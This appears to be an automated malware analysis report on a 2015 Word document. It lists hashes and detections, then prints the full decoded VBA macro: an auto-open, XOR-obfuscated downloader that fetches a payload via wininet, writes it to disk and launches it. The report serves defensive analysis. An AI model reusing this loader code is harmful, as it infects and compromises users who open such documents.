Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 75fd55da996bf800…

MALICIOUS

Office (OLE)

101.0 KB Created: 2015-01-19 16:07:00 Authoring application: Microsoft Office Word First seen: 2015-04-05
MD5: 39fd2f5a53674989a6255f640b2c698a SHA-1: 7bdbbcce0b7bc06fc914e5c017b1eafe220dbac1 SHA-256: 75fd55da996bf800d3e6f517e1045bdf3f434768328bad344910a79fa81abead
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The autoopen macro utilizes CreateObject to interact with the file system and execute code. The script attempts to create a file at 'C:\Users\Public\IAccessible2Proxy.exe' and then opens it, likely to download and execute a second-stage payload. The presence of CreateObject and obfuscated code strongly suggests a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Macro.GenericHeuristic-5901772-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.GenericHeuristic-5901772-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set FSOOO2 = CreateObject(memak8of(fefe444dfddsss, bbvbvbvbvb55))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set FSOOO2 = CreateObject(memak8of(fefe444dfddsss, bbvbvbvbvb55))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34802 bytes
SHA-256: 2f654950d87d5bac5caf2472e390b17d8fcf3c6285c1b77ad69e3f8477d9f1f5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
GapppJJn1
End Sub

Attribute VB_Name = "Module4"
Private Const Toma1ksdls = "380316072045794744595E000A18050405"
Private Const vmoeol827J = "370D010E34045A5D0C0319061309"
Private Const NOplaY22 = "031F071B764417404342190218030F020A100E2F0A4B5E5A1B540C0643061844110222455D4F51"
Private Const bbvbvbvbvb55 = "380801023C1F5159531B710A07093F1218070E21245A5D515643"
Private Const fefe444dfddsss = "lkkskLk87457ckl"






Sub GapppJJn1()
Dim FSOOO2
Dim sder53dfbhRF As Integer
For sder53dfbhRF = 0 To 0
If sder53dfbhRF = 5 Then End
Next sder53dfbhRF
Set FSOOO2 = CreateObject(memak8of(fefe444dfddsss, bbvbvbvbvb55))
Dim fffffF
Const fffffFID = 2
Dim DdDd22A As Integer
For DdDd22A = 0 To 0
If DdDd22A = 5 Then End
Next DdDd22A
Set fffffF = FSOOO2.GetSpecialFolder(fffffFID)
Dim Ee11 As Integer
For Ee11 = 0 To 0
If Ee11 = 5 Then End
Next Ee11
EdEdE111 = fffffF & memak8of(fefe444dfddsss, vmoeol827J)
Dim sil3489df As Integer
For sil3489df = 0 To 0
If sil3489df = 5 Then End
Next sil3489df
Set FSObject2 = CreateObject(memak8of(fefe444dfddsss, bbvbvbvbvb55))
Dim seswwwsa As Integer
For seswwwsa = 0 To 0
If seswwwsa = 5 Then End
Next seswwwsa
If FSObject2.FileExists(EdEdE111) Then
FSObject2.DeleteFile EdEdE111
End If
If ZepapoNka77(memak8of(fefe444dfddsss, NOplaY22), EdEdE111) Then
End If
Set SSSS = Nothing
If FSObject2.FileExists(EdEdE111) Then
End If
Set SASASA = CreateObject(memak8of(fefe444dfddsss, Toma1ksdls))
SASASA.Open EdEdE111
End Sub







Attribute VB_Name = "Module11"
Private Sub RIVgO()
GoTo myMuLxBcPMGZVtOntBESoqzJEi
myMuLxBcPMGZVtOntBESoqzJEi:
GoTo kDxnSccbgQJQvIHYbeuJCmUQrTZmwRfSEgCBd
kDxnSccbgQJQvIHYbeuJCmUQrTZmwRfSEgCBd:
GoTo NRsSeqnJfEwsDUkFsCaUyAhAG
NRsSeqnJfEwsDUkFsCaUyAhAG:
GoTo jstrwTahLZYosuLbSDlnHk
jstrwTahLZYosuLbSDlnHk:
GoTo zivUUwERtNsQiIuoGpMwG
zivUUwERtNsQiIuoGpMwG:
GoTo UlAHJSqlOQxDQfT
UlAHJSqlOQxDQfT:

End Sub
Private Sub vuykqyOpo()
GoTo NrVTBqKAr
NrVTBqKAr:
GoTo yylmMViKeIhzKzwqIFMQdZlBwyHfL
yylmMViKeIhzKzwqIFMQdZlBwyHfL:
GoTo msLTIokkjoZRZD
msLTIokkjoZRZD:
GoTo gjmeCgKuqfzqguEnn
gjmeCgKuqfzqguEnn:
GoTo oKQlSkVaAolfxuRnL
oKQlSkVaAolfxuRnL:

End Sub
Public Function adrMOYidGVoIc()
GoTo AzEpipThgwzCu
AzEpipThgwzCu:
GoTo bKtvPsx
bKtvPsx:
GoTo qDrdEbaBjAmqQqBvNLi
qDrdEbaBjAmqQqBvNLi:
GoTo UQctH
UQctH:
GoTo bytQYEZemcHQRPUsyF
bytQYEZemcHQRPUsyF:
GoTo wMPSKkyrcJLg
wMPSKkyrcJLg:
GoTo bYGTttUdqRmQpGhHS
bYGTttUdqRmQpGhHS:

End Function
Public Function Nk3Tflh()
GoTo irOJnpV
irOJnpV:
GoTo DsYTTRQIOVn
DsYTTRQIOVn:
GoTo dSVNmPusaOjZPeoQQ
dSVNmPusaOjZPeoQQ:
GoTo luGiChFYjYUOheBl
luGiChFYjYUOheBl:
GoTo xJabwyHfLpFms
xJabwyHfLpFms:
GoTo IokkjoZRZDePgjmeCgK
IokkjoZRZDePgjmeCgK:
GoTo fzqguEnnaM
fzqguEnnaM:

End Function
Private Function QlSkVaAo85668lfxu()

End Function
Public Function Nad121112rMOYidGVoI6c()
GoTo AzEpipThgwzCuibKtvPsxKUqDrdEbaBj
AzEpipThgwzCuibKtvPsxKUqDrdEbaBj:
GoTo qQqBvNLi
qQqBvNLi:
GoTo UQctHQbytQY
UQctHQbytQY:
GoTo GTttUdqRmQpGhHSMfNkT
GTttUdqRmQpGhHSMfNkT:
GoTo hsJZgirO
hsJZgirO:

End Function
Public Function psvssqqqqqqY()
GoTo PoePoePPP
PoePoePPP:
GoTo IokkjoKKLHHnaM
IokkjoKKLHHnaM:
GoTo QlSkVSsSMmnMxuRnLR
QlSkVSsSMmnMxuRnLR:
GoTo ssssscaaaa
ssssscaaaa:
GoTo GAAAAFFFFFc
GAAAAFFFFFc:
GoTo rA09181hgwzCuS
rA09181hgwzCuS:
GoTo KtvPs
KtvPs:

End Function
Private Function UqD34343434rdEbaBjAm()

End Function
Private Function vNLigbrgrgRH8856H()

End Function
Public Sub tQY34cHQ()

End Sub
Public Function y5000S()
GoTo cJLg6666sssssNbYGT
cJLg6666sssssNbYGT:
GoTo UdS334y5y5pGhHS
UdS334y5y5pGhHS:
GoTo NkTflaaAAa5555JZgirOJnpV
NkTflaaAAa5555JZgirOJnpV:

End Function
Public Function DsYTTRQIO()

End Function
Public Function vssvsef3wtg3gxfvx()
GoTo sdssssaas
sdssssaas:
GoTo sdvsS54738EG
sdvsS54738EG:
GoTo oZRZD44444eP
oZRZD44444eP:
GoTo meCvvvvvvgKuqf
meCvvvvvvgKuqf:

End Function




Attribute VB_Name = "Module3"
Option Explicit

#If VBA7 And Win64 Then
Private Declare PtrSafe Function dpqmvo409 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As LongPtr) As Long
Private Declare PtrSafe Function vmbiwl9009 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As LongPtr
Private Declare PtrSafe Function fdsdqo2929 Lib "wininet.dll" Alias "InternetReadFile" (ByVal hFile As LongPtr, ByVal sBuff As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare PtrSafe Function nnNaHHHakK Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As LongPtr, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As LongPtr
#Else
Private Declare Function dpqmvo409 Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef hInet As Long) As Long
Private Declare Function vmbiwl9009 Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function fdsdqo2929 Lib "wininet.dll" Alias "InternetReadFile" (ByVal hFile As Long, ByVal sBuff As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare Function nnNaHHHakK Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
#End If

Private Const MBL = 8162
Private Const AAN As String = "Mod3"
Private Const IOTD = 1
Private Const IFNCW = &H4000000
Public Function ZepapoNka77(ByVal sURL As String, ByVal sFileName As String) As Boolean
    #If VBA7 And Win64 Then
        Dim hOpen As LongPtr, hFile As LongPtr
    #Else
        Dim hOpen As Long, hFile As Long
    #End If
    Dim Ret As Long
    Dim sBuff As String * MBL, sData As String
    Dim iFile As Integer, dData As Double
    hOpen = vmbiwl9009(AAN, IOTD, vbNullString, vbNullString, 0)
    If hOpen = 0 Then
        Exit Function
    End If
    hFile = nnNaHHHakK(hOpen, sURL, vbNullString, 0, IFNCW, 0)
    If hFile = 0 Then
        dData = 0
    Else
        fdsdqo2929 hFile, sBuff, MBL, Ret
        sData = sBuff
        Do While Ret <> 0
            fdsdqo2929 hFile, sBuff, MBL, Ret
            sData = sData + Mid(sBuff, 1, Ret)
        Loop
        dData = Len(sData): iFile = FreeFile
        Open sFileName For Binary Access Write Lock Write As #iFile
        Put #iFile, , sData: Close #iFile
    End If
    dpqmvo409 hFile
    dpqmvo409 hOpen
    sData = ""
    If dData Then
        ZepapoNka77 = True
    End If
End Function

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{58D74312-CD32-4D95-BB8C-A7A7AB099C0A}{FD5753A8-52E2-47E4-BBBC-9613BAD849FD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
Private Sub RIV3333gO()
GoTo wefwefwefweaafewf
wefwefwefweaafewf:
GoTo RERee33EGsssssgvfrgrg
RERee33EGsssssgvfrgrg:
GoTo EN299NEIKISKKKK7
EN299NEIKISKKKK7:
GoTo EN785NEIKISKKKK71
EN785NEIKISKKKK71:
GoTo ENNE435534IKISKKKK72
ENNE435534IKISKKKK72:
GoTo ULLL333LLAKhhwshefg
ULLL333LLAKhhwshefg:

End Sub
Public Function memak8of(acascasc22 As String, ghdhdhe8 As String) As String
    Dim asasas1 As Long
    Dim asasas1O As String
    Dim asasas10 As Integer
    
    Dim efefe332d As Integer
For efefe332d = 0 To 0
If efefe332d = 25 Then End
Next efefe332d
    
    Dim asasas101 As Integer

    For asasas1 = 1 To (Len(ghdhdhe8) / 2)
        asasas10 = Val("&H" & (Mid$(ghdhdhe8, (2 * asasas1) - 1, 2)))
        asasas101 = Asc(Mid$(acascasc22, ((asasas1 Mod Len(acascasc22)) + 1), 1))
        Dim dwww343a As Integer
        For dwww343a = 0 To 0
        If dwww343a = 4 Then End
        Next dwww343a
        asasas1O = asasas1O + Chr(asasas10 Xor asasas101)
         Dim efe33q299 As Integer
        For efe33q299 = 0 To 0
        If efe33q299 = 4 Then End
        Next efe33q299
    Next asasas1
   memak8of = asasas1O
End Function

Private Sub IHYbeffeVuJC()
GoTo asefawf3
asefawf3:
GoTo sgr467gfh
sgr467gfh:
GoTo d45854shfhfshf
d45854shfhfshf:
GoTo rhhrshrsth455
rhhrshrsth455:
GoTo uykoEuxdddd
uykoEuxdddd:
GoTo rVTBqKcccccArFPEEEEEyylmMVi
rVTBqKcccccArFPEEEEEyylmMVi:
GoTo IhzKeee2ascfacas2zw
IhzKeee2ascfacas2zw:
GoTo IhzKeee2svs2333zw
IhzKeee2svs2333zw:
GoTo IhzKeee223334css44zw
IhzKeee223334css44zw:

End Sub

Attribute VB_Name = "Module5"

Public Sub PkD4040Sccbg()

End Sub
Private Sub IHYbe505VuJC()
GoTo TZmwR230fSEgCdKcNRsSeYqnJf
TZmwR230fSEgCdKcNRsSeYqnJf:
GoTo sDUk444FsCaUyA
sDUk444FsCaUyA:
GoTo GODjstrwT6904lnHkpCzivUUw
GODjstrwT6904lnHkpCzivUUw:
GoTo tNsQiIjuoGp873Tz
tNsQiIjuoGp873Tz:
GoTo uykqyO888855poEux
uykqyO888855poEux:
GoTo rVTBqKAr357FPyylmMVi
rVTBqKAr357FPyylmMVi:
GoTo IhzK4444zw
IhzK4444zw:
GoTo FdMQdZlB0258CYajGoQNTnvkPL
FdMQdZlB0258CYajGoQNTnvkPL:
GoTo PAtAfFrPpPpHKNFeHmVR
PAtAfFrPpPpHKNFeHmVR:

End Sub
Private Sub RIV1541414gO()
GoTo myMuLsaaaESoqzJEi
myMuLsaaaESoqzJEi:
GoTo kDxnScceeeeeCmUQrTZmwRfSEgCBd
kDxnScceeeeeCmUQrTZmwRfSEgCBd:
GoTo NRsSeqnaaaaaJfEwsDUkFsCaUyAhAG
NRsSeqnaaaaaJfEwsDUkFsCaUyAhAG:
GoTo jstrwT2352525ahLZYosuLbSDlnHk
jstrwT2352525ahLZYosuLbSDlnHk:
GoTo zivUUw44oGpMwG
zivUUw44oGpMwG:
GoTo UlAHJS444444qlOQxDQfT
UlAHJS444444qlOQxDQfT:

End Sub
Private Sub vuyk111111qyOpo()
GoTo NrV1010TBqKAr
NrV1010TBqKAr:
GoTo yylmMVi6464KeIhzKzwqIFMQdZlBwyHfL
yylmMVi6464KeIhzKzwqIFMQdZlBwyHfL:
GoTo msLTIok444kjoZRZD
msLTIok444kjoZRZD:
GoTo gjmeCgKu555qfzqguEnn
gjmeCgKu555qfzqguEnn:
GoTo oKQlSkVaA768olfxuRnL
oKQlSkVaA768olfxuRnL:

End Sub
Public Function adrMOY7777idGVoIc()
GoTo AzEpipThgwsdve4zCu
AzEpipThgwsdve4zCu:
GoTo bKtv4444Psx
bKtv4444Psx:
GoTo qDrdEbaBj534745674AmqQqBvNLi
qDrdEbaBj534745674AmqQqBvNLi:
GoTo UQct874H
UQct874H:
GoTo bytQYE0990099ZemcHQRPUsyF
bytQYE0990099ZemcHQRPUsyF:
GoTo wMPSKk333yrcJLg
wMPSKk333yrcJLg:
GoTo bYG23232TttUdqRmQpGhHS
bYG23232TttUdqRmQpGhHS:

End Function
Public Function Nk3121212Tflh()
GoTo irO5789JnpV
irO5789JnpV:
GoTo DsYTTR3333QIOVn
DsYTTR3333QIOVn:
GoTo dSVNmPusa565656OjZPeoQQ
dSVNmPusa565656OjZPeoQQ:
GoTo luGiChFYjYUO99999heBl
luGiChFYjYUO99999heBl:
GoTo xJabwyHfLpF66666ms
xJabwyHfLpF66666ms:
GoTo Io44kkjoZRZDePgj54meCgK
Io44kkjoZRZDePgj54meCgK:
GoTo fz343333222MMMaM
fz343333222MMMaM:

End Function
Private Function QlSkGhHHGgglfxu()

End Function
Public Function psvssEEEqqqqqqY()
GoTo PoeP001199PPP
PoeP001199PPP:
GoTo OPDK333339ja
OPDK333339ja:
GoTo JabwyU444444IOTYhFms
JabwyU444444IOTYhFms:
GoTo IokkjoKKLHH55555naM
IokkjoKKLHH55555naM:
GoTo QlSkVSsSM66666mnMxuRnLR
QlSkVSsSM66666mnMxuRnLR:
GoTo s77777sssscaaaa
s77777sssscaaaa:
GoTo GAAAAFFFFFc
GAAAAFFFFFc:
GoTo rA09181hg88888wzCuS
rA09181hg88888wzCuS:
GoTo KtvP999999s
KtvP999999s:

End Function
Private Function UqD34343000000dEbaBjAm()

End Function
Private Function vNLigbrg1010108856H()

End Function
Public Sub tQY34212121cHQ()

End Sub
Public Function y5012121200S()
GoTo cJLg666wewEEENbYGT
cJLg666wewEEENbYGT:
GoTo UdSWRRrrRRTT5y5pGhHS
UdSWRRrrRRTT5y5pGhHS:
GoTo NkTflaaAAaYyYyYyJnpV
NkTflaaAAaYyYyYyJnpV:

End Function
Public Function DsYT3332222TRQIO()

End Function
Public Function vssvs234567gxfvx()
GoTo sdsssNnNnsaas
sdsssNnNnsaas:
GoTo sdvsS5KkKk4738EG
sdvsS5KkKk4738EG:
GoTo oZRZD44UuUuUu444eP
oZRZD44UuUuUu444eP:
GoTo meCvvvvvvgKuqf
meCvvvvvvgKuqf:

End Function

' Processing file: /opt/analyzer/scan_staging/9c1dc550811e49ba911da038dc5f0554.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1555 bytes
' Line #0:
' 	FuncDefn (Sub autoopen())
' Line #1:
' 	ArgsCall fefe444dfddsss 0x0000 
' Line #2:
' 	EndSub 
' Macros/VBA/Module4 - 5129 bytes
' Line #0:
' 	Dim (Private Const) 
' 	LitStr 0x0022 "380316072045794744595E000A18050405"
' 	VarDefn nnNaHHHakK
' Line #1:
' 	Dim (Private Const) 
' 	LitStr 0x001C "370D010E34045A5D0C0319061309"
' 	VarDefn Toma1ksdls
' Line #2:
' 	Dim (Private Const) 
' 	LitStr 0x004E "031F071B764417404342190218030F020A100E2F0A4B5E5A1B540C0643061844110222455D4F51"
' 	VarDefn vmoeol827J
' Line #3:
' 	Dim (Private Const) 
' 	LitStr 0x0034 "380801023C1F5159531B710A07093F1218070E21245A5D515643"
' 	VarDefn NOplaY22
' Line #4:
' 	Dim (Private Const) 
' 	LitStr 0x000F "lkkskLk87457ckl"
' 	VarDefn bbvbvbvbvb55
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' 	FuncDefn (Sub fefe444dfddsss())
' Line #12:
' 	Dim 
' 	VarDefn FSOOO2
' Line #13:
' 	Dim 
' 	VarDefn sder53dfbhRF (As Integer)
' Line #14:
' 	StartForVariable 
' 	Ld sder53dfbhRF 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	For 
' Line #15:
' 	Ld sder53dfbhRF 
' 	LitDI2 0x0005 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	End 
' 	EndIf 
' Line #16:
' 	StartForVariable 
' 	Ld sder53dfbhRF 
' 	EndForVariable 
' 	NextVar 
' Line #17:
' 	SetStmt 
' 	Ld bbvbvbvbvb55 
' 	Ld NOplaY22 
' 	ArgsLd memak8of 0x0002 
' 	ArgsLd CreateObject 0x0001 
' 	Set FSOOO2 
' Line #18:
' 	Dim 
' 	VarDefn fffffF
' Line #19:
' 	Dim (Const) 
' 	LitDI2 0x0002 
' 	VarDefn fffffFID
' Line #20:
' 	Dim 
' 	VarDefn DdDd22A (As Integer)
' Line #21:
' 	StartForVariable 
' 	Ld DdDd22A 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	For 
' Line #22:
' 	Ld DdDd22A 
' 	LitDI2 0x0005 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	End 
' 	EndIf 
' Line #23:
' 	StartForVariable 
' 	Ld DdDd22A 
' 	EndForVariable 
' 	NextVar 
' Line #24:
' 	SetStmt 
' 	Ld fffffFID 
' 	Ld FSOOO2 
' 	ArgsMemLd GetSpecialFolder 0x0001 
' 	Set fffffF 
' Line #25:
' 	Dim 
' 	VarDefn Ee11 (As Integer)
' Line #26:
' 	StartForVariable 
' 	Ld Ee11 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	For 
' Line #27:
' 	Ld Ee11 
' 	LitDI2 0x0005 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	End 
' 	EndIf 
' Line #28:
' 	StartForVariable 
' 	Ld Ee11 
' 	EndForVariable 
' 	NextVar 
' Line #29:
' 	Ld fffffF 
' 	Ld bbvbvbvbvb55 
' 	Ld Toma1ksdls 
' 	ArgsLd memak8of 0x0002 
' 	Concat 
' 	St EdEdE111 
' Line #30:
' 	Dim 
' 	VarDefn sil3489df (As Integer)
' Line #31:
' 	StartForVariable 
' 	Ld sil3489df 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	For 
' Line #32:
' 	Ld sil3489df 
' 	LitDI2 0x0005 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	End 
' 	EndIf 
' Line #33:
' 	StartForVariable 
' 	Ld sil3489df 
' 	EndForVariable 
' 	NextVar 
' Line #34:
' 	SetStmt 
' 	Ld bbvbvbvbvb55 
' 	Ld NOplaY22 
' 	ArgsLd memak8of 0x0002 
' 	ArgsLd CreateObject 0x0001 
' 	Set FSObject2 
' Line #35:
' 	Dim 
' 	VarDefn seswwwsa (As Integer)
' Line #36:
' 	StartForVariable 
' 	Ld seswwwsa 
' 	EndForVariable 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	For 
' Line #37:
' 	Ld seswwwsa 
' 	LitDI2 0x0005 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	End 
' 	EndIf 
' Line #38:
' 	StartForVariable 
' 	Ld seswwwsa 
' 	EndForVariable 
' 	NextVar 
' Line #39:
' 	Ld EdEdE111 
' 	Ld FSObject2 
' 	ArgsMemLd FileExists 0x0001 
' 	IfBlock 
' Line #40:
' 	Ld EdEdE111 
' 	Ld FSObject2 
' 	ArgsMemCall DeleteFile 0x0001 
' Line #41:
' 	EndIfBlock 
' Line #42:
' 	Ld bbvbvbvbvb55 
' 	Ld vmoeol827J 
' 	ArgsLd memak8of 0x0002 
' 	Ld EdEdE111 
' 	ArgsLd ZepapoNka64 0x0002 
' 	IfBlock 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	SetStmt 
' 	LitNothing 
' 	Set SSSS 
' Line #45:
' 	Ld EdEdE111 
' 	Ld FSObject2 
' 	ArgsMemLd FileExists 0x0001 
' 	IfBlock 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	SetStmt 
' 	Ld bbvbvbvbvb55 
' 	Ld nnNaHHHakK 
' 	ArgsLd memak8of 0x0002 
' 	ArgsLd CreateObject 0x0001 
' 	Set SASASA 
' Line #48:
' 	Ld EdEdE111 
' 	Ld SASASA 
' 	ArgsMemCall Open 0x0001 
' Line #49:
' 	EndSub 
' Line #50:
' Line #51:
' Line #52:
' Line #53:
' Line #54:
' Line #55:
' Macros/VBA/Module11 - 8231 bytes
' Line #0:
' 	FuncDefn (Private Sub RIVgO())
' Line #1:
' 	GoTo myMuLxBcPMGZVtOntBESoqzJEi 
' Line #2:
' 	Label myMuLxBcPMGZVtOntBESoqzJEi 
' Line #3:
' 	GoTo kDxnSccbgQJQvIHYbeuJCmUQrTZmwRfSEgCBd 
' Line #4:
' 	Label kDxnSccbgQJQvIHYbeuJCmUQrTZmwRfSEgCBd 
' Line #5:
' 	GoTo NRsSeqnJfEwsDUkFsCaUyAhAG 
' Line #6:
' 	Label NRsSeqnJfEwsDUkFsCaUyAhAG 
' Line #7:
' 	GoTo jstrwTahLZYosuLbSDlnHk 
' Line #8:
' 	Label jstrwTahLZYosuLbSDlnHk 
' Line #9:
' 	GoTo zivUUwERtNsQiIuoGpMwG 
' Line #10:
' 	Label zivUUwERtNsQiIuoGpMwG 
' Line #11:
' 	GoTo UlAHJSqlOQxDQfT 
' Line #12:
' 	Label UlAHJSqlOQxDQfT 
' Line #13:
' Line #14:
' 	EndSub 
' Line #15:
' 	FuncDefn (Private Sub vuykqyOpo())
' Line #16:
' 	GoTo NrVTBqKAr 
' Line #17:
' 	Label NrVTBqKAr 
' Line #18:
' 	GoTo yylmMViKeIhzKzwqIFMQdZlBwyHfL 
' Line #19:
' 	Label yylmMViKeIhzKzwqIFMQdZlBwyHfL 
' Line #20:
' 	GoTo msLTIokkjoZRZD 
' Line #21:
' 	Label msLTIokkjoZRZD 
' Line #22:
' 	GoTo gjmeCgKuqfzqguEnn 
' Line #23:
' 	Label gjmeCgKuqfzqguEnn 
' Line #24:
' 	GoTo oKQlSkVaAolfxuRnL 
' Line #25:
' 	Label oKQlSkVaAolfxuRnL 
' Line #26:
' Line #27:
' 	EndSub 
' Line #28:
' 	FuncDefn (Public Function adrMOYidGVoIc())
' Line #29:
' 	GoTo AzEpipThgwzCu 
' Line #30:
' 	Label AzEpipThgwzCu 
' Line #31:
' 	GoTo bKtvPsx 
' Line #32:
' 	Label bKtvPsx 
' Line #33:
' 	GoTo qDrdEbaBjAmqQqBvNLi 
' Line #34:
' 	Label qDrdEbaBjAmqQqBvNLi 
' Line #35:
' 	GoTo UQctH 
' Line #36:
' 	Label UQctH 
' Line #37:
' 	GoTo bytQYEZemcHQRPUsyF 
' Line #38:
' 	Label bytQYEZemcHQRPUsyF 
' Line #39:
' 	GoTo wMPSKkyrcJLg 
' Line #40:
' 	Label wMPSKkyrcJLg 
' Line #41:
' 	GoTo bYGTttUdqRmQpGhHS 
' Line #42:
' 	Label bYGTttUdqRmQpGhHS 
' Line #43:
' Line #44:
' 	EndFunc 
' Line #45:
' 	FuncDefn (Public Function Nk3Tflh())
' Line #46:
' 	GoTo irOJnpV 
' Line #47:
' 	Label irOJnpV 
' Line #48:
' 	GoTo DsYTTRQIOVn 
' Line #49:
' 	Label DsYTTRQIOVn 
' Line #50:
' 	GoTo dSVNmPusaOjZPeoQQ 
' Line #51:
' 	Label dSVNmPusaOjZPeoQQ 
' Line #52:
' 	GoTo luGiChFYjYUOheBl 
' Line #53:
' 	Label luGiChFYjYUOheBl 
' Line #54:
' 	GoTo xJabwyHfLpFms 
' Line #55:
' 	Label xJabwyHfLpFms 
' Line #56:
' 	GoTo IokkjoZRZDePgjmeCgK 
' Line #57:
' 	Label IokkjoZRZDePgjmeCgK 
' Line #58:
' 	GoTo fzqguEnnaM 
' Line #59:
' 	Label fzqguEnnaM 
' Line #60:
' Line #61:
' 	EndFunc 
' Line #62:
' 	FuncDefn (Private Function QlSkVaAo85668lfxu())
' Line #63:
' Line #64:
' 	EndFunc 
' Line #65:
' 	FuncDefn (Public Function Nad121112rMOYidGVoI6c())
' Line #66:
' 	GoTo AzEpipThgwzCuibKtvPsxKUqDrdEbaBj 
' Line #67:
' 	Label AzEpipThgwzCuibKtvPsxKUqDrdEbaBj 
' Line #68:
' 	GoTo qQqBvNLi 
' Line #69:
' 	Label qQqBvNLi 
' Line #70:
' 	GoTo UQctHQbytQY 
' Line #71:
' 	Label UQctHQbytQY 
' Line #72:
' 	GoTo GTttUdqRmQpGhHSMfNkT 
' Line #73:
' 	Label GTttUdqRmQpGhHSMfNkT 
' Line #74:
' 	GoTo hsJZgirO 
' Line #75:
' 	Label hsJZgirO 
' Line #76:
' Line #77:
' 	EndFunc 
' Line #78:
' 	FuncDefn (Public Function PoePoePPP())
' Line #79:
' 	GoTo OPDKV829ja 
' Line #80:
' 	Label OPDKV829ja 
' Line #81:
' 	GoTo QlSkVSsSMmnMxuRnLR 
' Line #82:
' 	Label QlSkVSsSMmnMxuRnLR 
' Line #83:
' 	GoTo ssssscaaaa 
' Line #84:
' 	Label ssssscaaaa 
' Line #85:
' 	GoTo rA09181hgwzCuS 
' Line #86:
' 	Label rA09181hgwzCuS 
' Line #87:
' 	GoTo UqD34343434rdEbaBjAm 
' Line #88:
' 	Label UqD34343434rdEbaBjAm 
' Line #89:
' 	GoTo GAAAAFFFFFc 
' Line #90:
' 	Label GAAAAFFFFFc 
' Line #91:
' 	GoTo KtvPs 
' Line #92:
' 	Label KtvPs 
' Line #93:
' Line #94:
' 	EndFunc 
' Line #95:
' 	FuncDefn (Private Function vNLigbrgrgRH8856H())
' Line #96:
' Line #97:
' 	EndFunc 
' Line #98:
' 	FuncDefn (Private Function tQY34cHQ())
' Line #99:
' Line #100:
' 	EndFunc 
' Line #101:
' 	FuncDefn (Public Sub y5000S())
' Line #102:
' Line #103:
' 	EndSub 
